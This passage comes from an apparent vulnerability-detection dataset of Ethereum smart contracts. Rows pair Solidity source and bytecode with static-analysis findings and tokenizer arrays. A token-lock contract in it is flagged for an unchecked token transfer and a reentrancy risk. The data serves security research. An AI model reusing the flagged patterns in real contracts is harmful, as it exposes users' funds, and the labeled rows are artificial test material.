d5b5035610597565b6101f561060a565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60005474010000000000000000000000000000000000000000900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561031c57600080fd5b505afa158015610330573d6000803e3d6000fd5b505050506040513d602081101561034657600080fd5b5051905090565b600281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663668a0f026040518163ffffffff1660e01b815260040160206040518083038186803b15801561031c57600080fd5b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f8101849004840282018401909252818152929183018282801561045e5780601f106104335761010080835404028352916020019161045e565b820191906000526020600020905b81548152906001019060200180831161044157829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638205bf6a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561031c57600080fd5b60008060008060006104e0866106be565b939a9299509097509550909350915050565b60008054604080517fb5ab58dc00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff9092169163b5ab58dc91602480820192602092909190829003018186803b15801561056557600080fd5b505afa158015610579573d6000803e3d6000fd5b505050506040513d602081101561058f57600080fd5b505192915050565b60008054604080517fb633620c00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff9092169163b633620c91602480820192602092909190829003018186803b15801561056557600080fd5b60008060008060006106ad6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663668a0f026040518163ffffffff1660e01b815260040160206040518083038186803b15801561067c57600080fd5b505afa158015610690573d6000803e3d6000fd5b505050506040513d60208110156106a657600080fd5b50516106be565b945094509450945094509091929394565b60008054604080517fb5ab58dc00000000000000000000000000000000000000000000000000000000815269ffffffffffffffffffff851660048201529051839283928392839273ffffffffffffffffffffffffffffffffffffffff169163b5ab58dc916024808301926020929190829003018186803b15801561074157600080fd5b505afa158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b5051600054604080517fb633620c00000000000000000000000000000000000000000000000000000000815269ffffffffffffffffffff8a166004820152905192965073ffffffffffffffffffffffffffffffffffffffff9091169163b633620c91602480820192602092909190829003018186803b1580156107ed57600080fd5b505afa158015610801573d6000803e3d6000fd5b505050506040513d602081101561081757600080fd5b505160408051808201909152600f81527f4e6f20646174612070726573656e740000000000000000000000000000000000602082015267ffffffffffffffff9091169250826108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108c35781810151838201526020016108ab565b50505050905090810190601f1680156108f05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5094959294509250829185915056fea26469706673582212209093f5482f32345382388bc2da2943bff368799daba9ade6b1a0a1e91ce8f6b464736f6c63430006060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
16086,
2581,
2050,
2620,
2497,
2692,
2581,
11057,
19797,
2094,
23777,
23352,
2581,
29292,
12879,
2278,
2575,
2487,
10354,
2278,
2475,
15878,
16147,
25746,
2549,
2497,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1020,
1025,
8278,
24089,
18447,
2121,
12172,
1063,
3853,
6745,
6962,
13777,
1006,
1007,
6327,
3193,
5651,
1006,
20014,
17788,
2575,
1007,
1025,
3853,
6745,
7292,
9153,
8737,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
6745,
22494,
4859,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
2131,
6962,
13777,
1006,
21318,
3372,
17788,
2575,
2461,
3593,
1007,
6327,
3193,
5651,
1006,
20014,
17788,
2575,
1007,
1025,
3853,
2131,
7292,
9153,
8737,
1006,
21318,
3372,
17788,
2575,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,435 | 0x952644307116e7de4dfc54ee16a0bc37002a9e99 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xe05fD02b6569F533751dDc4a5800019F3862EA76;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820c0d5f85fa329bee8d0e4c826e97751ed0ec0056045194d06c9ccccaef2ee40220029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
21084,
23777,
2692,
2581,
14526,
2575,
2063,
2581,
3207,
2549,
20952,
2278,
27009,
4402,
16048,
2050,
2692,
9818,
24434,
8889,
2475,
2050,
2683,
2063,
2683,
2683,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,436 | 0x952681078841564123bb071b25f243a263f3796a | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
